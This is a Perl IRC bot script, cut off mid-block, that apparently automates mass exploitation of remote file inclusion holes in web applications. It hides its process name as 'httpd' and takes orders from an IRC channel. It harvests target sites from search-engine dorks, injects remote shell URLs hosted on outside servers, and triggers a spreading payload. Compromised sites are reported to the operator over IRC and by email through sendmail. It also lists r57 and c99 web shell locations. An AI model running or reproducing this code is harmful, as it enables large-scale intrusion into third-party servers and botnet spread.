use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

my $linas_max='10';
my $sleep='4';
my $processo = "httpd -SasSL45";
my $cmd="http://stelsis.ru//templates/shell.txt?";
my $id="http://yalor.yru.ac.th/~nantharat/modules/left.txt?";
my $spread="http://spd";
my $server="rusuh.byroe.net";
my $porta="6667";
my $numero=int(rand(100));
my $nick="Byroe[".$numero."]";
my $canale="#zeroo";
my $verbot = "1.01";
my $stringa = "!scan".$numero;
my $adm = "SmokeS","EskimO";
my $out = "kill".$numero;
my $c0der= "ZeroCrew"; #si prega di lasciarlo cos?

my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER V2 8 *  : .::SmokeS::.\r\n";
print $sk "JOIN $canale wew\r\n";
my $re = query($id);
    if ($re =~ /SmokeS/) {
        stampa( $sk, "PRIVMSG $canale :3,1[7S3]8uper3[7BOT3] 12Ver.11$verbot 13LOADED 0and 9WORKING");
    }
    else {
        stampa( $sk, "PRIVMSG $canale :3,1[7S3]8uper3[7BOT3] 12Ver.11$verbot 13LOADED 0but 9ID link NOT WORKING");

        stampa( $sk, "PRIVMSG $canale :3,1[7S3]8uper3[7BOT3] 13Please Fix ID Link - 4QUIT!!");

        stampa( $sk, "QUIT");
    }

while($line = <$sk>){

$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}


if ($line=~ /PRIVMSG $canale :$out/){
stampa($sk, "QUIT");
}

if ($line=~ /PRIVMSG $canale :!help/){
stampa($sk, "PRIVMSG $canale :7>>>>>8 3,1[7S3]8uper3[7BOT3] 12Ver.11$verbot 10By SmokeS9$SmokeS");
stampa($sk, "PRIVMSG $canale :7>>>>>8 $stringa 10Bug Dork");
stampa($sk, "PRIVMSG $canale :7>>>>>8 !response / !id");
stampa($sk, "PRIVMSG $canale :7>>>>>8 !inject");
stampa($sk, "PRIVMSG $canale :7>>>>>8 !string");
stampa($sk, "PRIVMSG $canale :7>>>>>8 !cmd");
stampa($sk, "PRIVMSG $canale :7>>>>>8 !admin");
}


if ($line=~ /PRIVMSG $canale :!cmd/){
    my $re = query($cmd);
    if ($re =~ /<?php/) {
        stampa( $sk, "PRIVMSG $canale :7>>>>>9CMD is 9WORKING!!");
    }
    else {
       stampa( $sk, "PRIVMSG $canale :4>>>>>4CMD  is 4DEAD!!");
    }
}


if ($line=~ /PRIVMSG $canale :!admin/){
stampa($sk, "PRIVMSG $canale :7>>>>> 8$adm 13is 15my 9BOSS!!");
}

if ($line=~ /PRIVMSG $canale :!response/){
    my $re = query($id);
    if ($re =~ /SmokeS/) {
        stampa( $sk, "PRIVMSG $canale :7>>>>>3,1[7S3]8uper3[7BOT3] is 9WORKING!!");
    }
    else {
        stampa( $sk, "PRIVMSG $canale :7>>>>>3,1[7S3]8uper3[7BOT3] is 4NOT WORKING!!");
    }
}

if ($line=~ /PRIVMSG $canale :!id/){
    my $re = query($id);
    if ($re =~ /SmokeS/) {
        stampa( $sk, "PRIVMSG $canale :7>>>>>3,1[7S3]8uper3[7BOT3] is 9WORKING!!");
    }
    else {
       stampa( $sk, "PRIVMSG $canale :7>>>>>3,1[7S3]8uper3[7BOT3] is 4NOT WORKING!!");
    }
}


if ($line=~ /PRIVMSG $canale :!string/){
stampa($sk, "PRIVMSG $canale :7>>>>>11 RFI Strings:");
stampa($sk, "PRIVMSG $canale :7>>>>>4 http://www.caldasrainha.net/amarecicle//modules/bug.txt ");
stampa($sk, "PRIVMSG $canale :7>>>>>4 http://www.caldasrainha.net/amarecicle//modules/bug2.txt");
}

if ($line=~ /PRIVMSG $canale :!inject/){
stampa($sk, "PRIVMSG $canale :7>>>>>11 r57 & C99 shells List:");
stampa($sk, "PRIVMSG $canale :7>>>>>9 http://www.caldasrainha.net/amarecicle//modules/r57??");
stampa($sk, "PRIVMSG $canale :7>>>>>9 http://www.caldasrainha.net/amarecicle//modules/c99??");
stampa($sk, "PRIVMSG $canale :7>>>>>9 http://kuiwa.at/r57.txt??");
}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
stampa($sk, "PRIVMSG $canale :7>>>>>9[8Bug9]4 $bug ");
stampa($sk, "PRIVMSG $canale :7>>>>>9[4Dork9]8 $dork ");
stampa($sk, "PRIVMSG $canale :7>>>>>9[7Searching9]11 Please Wait!! ");
my @google=&googlet($dork);
push(my @tot, @google);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale : 9[13G7o4o11G10l9e] 12Total:13 ".scalar(@tot)." 7- 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :9 13G7o4o11G10l9e94 finished scanning 0$dork");
}

my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );
}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}


if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @alltheweb=&allthewebt($dork);
	my @allweb=&standard($dork);
push(my @tot, @alltheweb, @allweb);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [4All11the7web9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :9 4All11the7web8 finished scanning 0$dork");
}

my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");;
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @abacholist=&abacho($dork);
push(my @tot, @abacholist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [9Aba4cho9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :9 Aba4cho8 0finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");;
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15$alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @kanoodlelist=&kanoodle($dork);
push(my @tot, @kanoodlelist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [9ka4noodle9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :9 9ka4noodle8 0finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");;
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @ylist=&yahoo($dork);
	my @yalist=&yahooa($dork);
	my @yblist=&yahoob($dork);
	my @yclist=&yahooc($dork);
	my @ydlist=&yahood($dork);
	my @yelist=&yahooe($dork);
	my @yflist=&yahoof($dork);
	my @yglist=&yahoog($dork);
	my @yhlist=&yahooh($dork);
	my @yilist=&yahooi($dork);
	my @yllist=&yahool($dork);
		push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist, @yelist, @yflist, @yglist, @yhlist, @yilist, @yllist );
push(my @tot, @yahoobypass);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [4Ya8hoo9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 4Ya8hoo 8finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}


if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @mlist=&msn($dork);
	my @mlistde=&msnde($dork);
	my @mlistlive=&msnlive($dork);
	push(my @mlistworld, @mlist, @mlistde, @mlistlive);
push(my @tot, @mlistworld);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [9M7s11n9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 9M7s11n 8finished scanning 0$dork");
}

my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}



if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @allist=&altavista($dork);
	my @alldeist=&altavistade($dork);
	my @allistus=&altavistaus($dork);
	my @allcom=&altavistacom($dork);
push(my @tot, @allist, @alldeist, @allistus,@allcom);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [11Alta4vista9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 11Alta4vista8 finito 0per:5$bug - 4$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @asklist=&ask($dork);
	my @asklista=&aska($dork);
	my @asklistb=&askb($dork);
push(my @tot, @asklist, @asklista, @asklistb);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [4A11s7K9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale :9 [4A11s7K9]8 finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
